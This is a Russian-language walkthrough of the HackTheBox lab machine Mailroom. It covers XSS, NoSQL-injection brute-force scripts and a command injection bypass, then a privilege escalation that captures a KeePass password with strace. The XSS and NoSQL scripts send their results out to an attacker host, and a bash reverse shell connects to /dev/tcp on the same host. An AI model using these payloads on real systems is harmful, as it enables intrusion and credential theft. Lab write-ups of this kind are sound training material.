Blog

Разбор HackTheBox – Mailroom (Hard)

Сложность:Hard
ОС:Linux
Баллы:40
IP:10.10.11.209
ТегиCode Review, XSS, NoSQL, System call interception

Краткое описание решения

После первичной разведки веб-приложения мы обнаруживаем потенциальные имена пользователей и исходный код одного из работающих сервисов. С помощью XSS в форме обратной связи и инъекции NoSQL получили учётные данные пользователя tristan. Затем через обнаруженную в исходном коде сервиса уязвимость инъекции команд получаем доступ в контейнер с сервисом. В нём обнаруживаем учётные данные пользователя matthew, получаем флаг и двигаемся горизонтально. В домашней директории этого пользователя обнаруживаем базу данных паролей kbdx и соответствующую ей утилиту kpcli, перехватываем ввод, анализируем и получаем мастер-пароль от базы данных. Получаем пароль и флаг пользователя root.

Фаза разведки

Проведём первичное сканирование цели:

nmap -sS -p- 10.10.11.209

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.209

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:  
|   3072 94:bb:2f:fc:ae:b9:b1:82:af:d7:89:81:1a:a7:6c:e5 (RSA) 
|   256 82:1b:eb:75:8b:96:30:cf:94:6e:79:57:d9:dd:ec:a7 (ECDSA) 
|_  256 19:fb:45:fe:b9:e4:27:5d:e5:bb:f3:54:97:dd:68:cf (ED25519) 
80/tcp open  http    Apache httpd 2.4.54 ((Debian)) 
|_http-title: The Mail Room 
|_http-server-header: Apache/2.4.54 (Debian) 
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)

Далее, просмотрим основные разделы страницы на предмет полезной информации:

Добавим домен в /etc/hosts

# HTB
10.10.11.209    mailroom.htb

Потенциальные имена внутренних пользователей сервиса: Tristan Pitt, Matthew Conley, Chris McLovin’, Vivien Perkins

Далее осуществим сканирование директорий и поддоменов доступных в сервисе на предмет полезного лута, для этого можем использовать gobuster, feroxbuster, fuff или любой другой сканер на ваше усмотрение:

gobuster dir -u http://mailroom.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

Результат скана с помощью gobuster:

/assets               (Status: 301) [Size: 313] [--> http://mailroom.htb/assets/]
/css                  (Status: 301) [Size: 310] [--> http://mailroom.htb/css/]
/template             (Status: 403) [Size: 277] 
/js                   (Status: 301) [Size: 309] [--> http://mailroom.htb/js/]
/javascript           (Status: 301) [Size: 317] [--> http://mailroom.htb/javascript/] 
/font                 (Status: 301) [Size: 311] [--> http://mailroom.htb/font/]
/server-status        (Status: 403) [Size: 277]

Сканируем поддомены с помощью fuff:

ffuf -u "http://mailroom.htb/" -H 'Host: FUZZ.mailroom.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 0,7748

Результат сканирования:

* FUZZ: git 
* FUZZ: beta

Добавим также поддомены beta и git в файл hosts и разведуем их содержимое:

# HTB 
10.10.11.209    mailroom.htb    git.mailroom.htb        beta.mailroom.htb

На первый взгляд beta.mailroom.htb ничем не отличается от mailroom.htb. git.mailroom.htb в свою очередь содержит исходный код некого сервиса и позволяет нам без каких-либо учётных данных получить понимание о частичном списке пользователей сервиса контроля версий Gitea (1.18.0).

Теперь, мы с большей уверенностью можем утверждать, что в системе есть пользователи tristan и matthew. Далее, можно беспрепятственно получить доступ к одному из репозиториев:

Просмотрим файлы и выделим части, которые могут нас заинтересовать:

http://git.mailroom.htb/matthew/staffroom/src/branch/main/auth.php

[…]
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
[…]
// Send an email to the user with the 2FA token
      $to = $user['email'];
      $subject = '2FA Token';
      $message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
      mail($to, $subject, $message);
[…]

http://git.mailroom.htb/matthew/staffroom/src/branch/main/inspect.php

[...]
$data = '';
if (isset($_POST['inquiry_id'])) {
      $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
      $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
[...]

Из auth.php мы выяснили, что есть ещё один поддомен staff-review-panel.*, используется СУБД mongodb, на котором включена 2FA. Из inspect.php мы выяснили, что в коде есть уязвимость Command Injection, фильтры, установленные в функции preg_replace легко обойти с помощью символа `(backtick)

Добавим поддомен staff-review-panel.* в файл hosts

Получение доступа SSH и продвижение в staff-review-panel.*

Проверим контактную форму на наличие XSS, используем полезную нагрузку: 1<svg/onload=alert(1)>

Для того, что XSS отработала потребуется также нажать на:

Далее, используем следующий код для того, чтобы получить содержимое index.php:

<script>var url = "http://staff-review-panel.mailroom.htb/index.php";
var attacker = "http://your_VPN_IP/dump";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
   if (xhr.readyState == XMLHttpRequest.DONE) {
      fetch(attacker + "@" + encodeURI(btoa(xhr.responseText)))
   }
}
xhr.open('GET', url, true);
xhr.send(null);</script>

Перед инъекцией в параметр необходимо закодировать в URL и поднять http сервер c помощью: python3 -m http.server 80

Получаем на поднятый SimpleHTTP питон сервер закодированное для удобства передачи содержимое страницы index.php

Декодируем:

Полный код страницы:

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
  <meta name="description" content="" />
  <meta name="author" content="" />
  <title>Inquiry Review Panel</title>
  <!-- Favicon-->
  <link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
  <!-- Bootstrap icons-->
  <link href="font/bootstrap-icons.css" rel="stylesheet" />
  <!-- Core theme CSS (includes Bootstrap)-->
  <link href="css/styles.css" rel="stylesheet" />
</head>

<body>
  <div class="wrapper fadeInDown">
    <div id="formContent">

      <!-- Login Form -->
      <form id='login-form' method="POST">
        <h2>Panel Login</h2>
        <input required type="text" id="email" class="fadeIn second" name="email" placeholder="Email">
        <input required type="password" id="password" class="fadeIn third" name="password" placeholder="Password">
        <input type="submit" class="fadeIn fourth" value="Log In">
        <p hidden id="message" style="color: #8F8F8F">Only show this line if response - edit code</p>
      </form>

      <!-- Remind Passowrd -->
      <div id="formFooter">
        <a class="underlineHover" href="register.html">Create an account</a>
      </div>

    </div>
  </div>

  <!-- Bootstrap core JS-->
  <script src="js/bootstrap.bundle.min.js"></script>

  <!-- Login Form-->
  <script>
    // Get the form element
    const form = document.getElementById('login-form');

    // Add a submit event listener to the form
    form.addEventListener('submit', event => {
      // Prevent the default form submission
      event.preventDefault();

      // Send a POST request to the login.php script
      fetch('/auth.php', {
        method: 'POST',
        body: new URLSearchParams(new FormData(form)),
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
      }).then(response => {
        return response.json();

      }).then(data => {
        // Display the name and message in the page
        document.getElementById('message').textContent = data.message;
        document.getElementById('password').value = '';
        document.getElementById('message').removeAttribute("hidden");
      }).catch(error => {
        // Display an error message
        //alert('Error: ' + error);
      });
    });
  </script>
</body>
</html>

Проанализировав исходные файлы проекта в Gitea staff мы можем обнаружить, что в коде присутствует NoSQL инъекция в параметры email и password.

Создаём для проверки NoSQL JS со следующим содержимым, поднимаем SimpleHTTP сервер и затем обращаемся к нему(иногда не срабатывает с первого запроса, приходится обращаться несколько раз через XSS в форме):

var http = new XMLHttpRequest(); 
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function() 
   {   
      fetch("http://your_VPN_IP/out?" + encodeURI(btoa(this.responseText))); 
   }; 
http.send("email[$ne]=test@testy&password[$ne]=pass");

Вывод:

eyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6IkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6IkNoZWNrIHlvdXIgaW5ib3ggZm9yIGFuIGVtYWlsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ==

Декодируем base64:

{"success":false,"message":"Invalid input detected"}
{"success":true,"message":"Check your inbox for an email with your 2FA token"}

Для перебора имени пользователя с помощью NoSQL инъекции воспользуемся следующим кодом:

async function callAuth(mail) {
    var content = await fetch("http://staff-review-panel.mailroom.htb/auth.php", {
        "headers": {
            "content-type": "application/x-www-form-urlencoded"
        },
        "body": "email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc",
        "method": "POST"
    }).then(function (res) {
        return res.text();
    });
    return { d: mail, c: /"success":true/.test(content) }
}
function notify(pass) {
    fetch("http://your_VPN_IP/out?"+pass, {});
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(chars[i]+mail).then(function (item) {
            if (item.c) {
                notify(item.d);
                cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", item.d);
            }
        });
    }
}
cal(chars, "");

С помощью него мы получаем имя пользователя tristan

Аналогично для получения пароля через NoSQL создаём JS и поднимаем SimpleHTTP сервер:

async function callAuth(pass){
  var http = new XMLHttpRequest();
  http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
  http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  http.onload = function() {
    if (/"success":true/.test(this.responseText)){
      notify(pass);
      cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~")
    }
  };
  http.send("email=tristan@mailroom.htb&password[$regex]=^" + pass);
}

function notify(pass) {
  fetch("http://your_VPN_IP/out?" + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~"
function cal(chars, pass){
  for (var i = 0; i < chars.length; i++) {
    callAuth(pass + chars[i])
  }
}
cal(chars, "");

Получили пароль: 69trisRulez!

Итоговые учётные записи для пользователя: tristan:69trisRulez!

Проверим, подходят ли эти учётные данные для ssh:

Мы успешно получили доступ к учётной записи одного из пользователей, но флаг находится в домашней директории другого пользователя – matthew, доступа на чтение его файлов у текущего пользователя – нет.

Также, мы можем проверить код 2FA, который исходя из сообщения в консоли был отправлен нам в /var/mail/tristan

В дальнейшем мы можем использовать эту ссылку для доступа к сервисной панели.

Port-forwarding для доступа к панели: ssh -L 8008:127.0.0.1:80 tristan@mailroom.htb

После этого также не забываем добавить staff-review-panel.mailroom.htb в файл hosts → 127.0.0.1

Горизонтальное движение

Ранее, при анализе кода в Gitea мы обнаружили возможность инъекции команд в параметр inquiry_id, приступим к этой части. Поднимем SimpleHTTP сервер, который будет содержать код с реверс шеллом:

#!/bin/bash 
bash -i >& /dev/tcp/your_VPN_IP/7331 0>&1

Также, для работы реверс шелла необходимо прописать права на исполнение: chmod +x /tmp/rs

Для получения реверс шелла: nc -nvlp 7331

Получили доступ в контейнер:

С помощью grep ищем возможные конфигурационные файлы, содержащие учётные записи пользователя matthew:

http://matthew:HueLover83%23@gitea:3000/matthew/staffroom.git

Получили учётные данные пользователя matthew, которые он применяет для подключения к сервису gitea на 3000 порте: matthew:HueLover83#

Используем этот пароль для смены учётной записи на matthew: su matthew

Получили флаг пользователя!

Повышение до root

В домашней директории пользователя matthew обнаружили файл personal.kbdx

Это база данных паролей утилиты менеджмента паролями Keepass

Файл версии 2.X. Публично доступные и рабочие CVE на данную утилиту завязаны на дампах памяти и/или уязвимостях, специфических для ОС Windows

Проверим активные процессы:

С помощью утилиты strace можно отслеживать системные вызовы, самое важное для нас то, что с помощью неё возможно осуществить перехват и чтение системных вызовов между процессами и ядром ОС.

strace -p `ps -elf | grep -v 'pts' | awk '/kpcli/{print $4}'`

Проанализируем вывод, нас будут интересовать операции чтения:

read(0, "!", 8192)                      = 1  
[...] 
read(0, "s", 8192)                      = 1 
[...] 
read(0, "E", 8192)                      = 1 
[...] 
read(0, "c", 8192)                      = 1 
[...] 
read(0, "U", 8192)                      = 1 
[...] 
read(0, "r", 8192)                      = 1 
[...] 
read(0, "3", 8192)                      = 1 
[...] 
read(0, "p", 8192)                      = 1 
[...] 
read(0, "4", 8192)                      = 1 
[...] 
read(0, "$", 8192)                      = 1 
[..] 
read(0, "$", 8192)                      = 1 
[...] 
read(0, "w", 8192)                      = 1 
[...] 
read(0, "0", 8192)                      = 1 
[...]
read(0, "1", 8192)                      = 1

Получаем, что сначала был введён пароль: !sEcUr3p4$$w01

Если проанализировать операции далее, то можно заметить, что вводится символ /10, соответствующий Backspace (ASCII code 8)

После удаления цифры 1 в пароле водятся ещё 3 символа:

read(0, "r", 8192)                      = 1 
[...] 
read(0, "d", 8192)                      = 1 
[...] 
read(0, "9", 8192)                      = 1

Итоговый пароль: !sEcUr3p4$$w0rd9

Проверим верность полученного пароля:

Успешно получили пароль пользователя root, а вместе с ним и флаг:

Ссылки:

https://book.hacktricks.xyz/pentesting-web/nosql-injection

https://jtprog.ru/strace/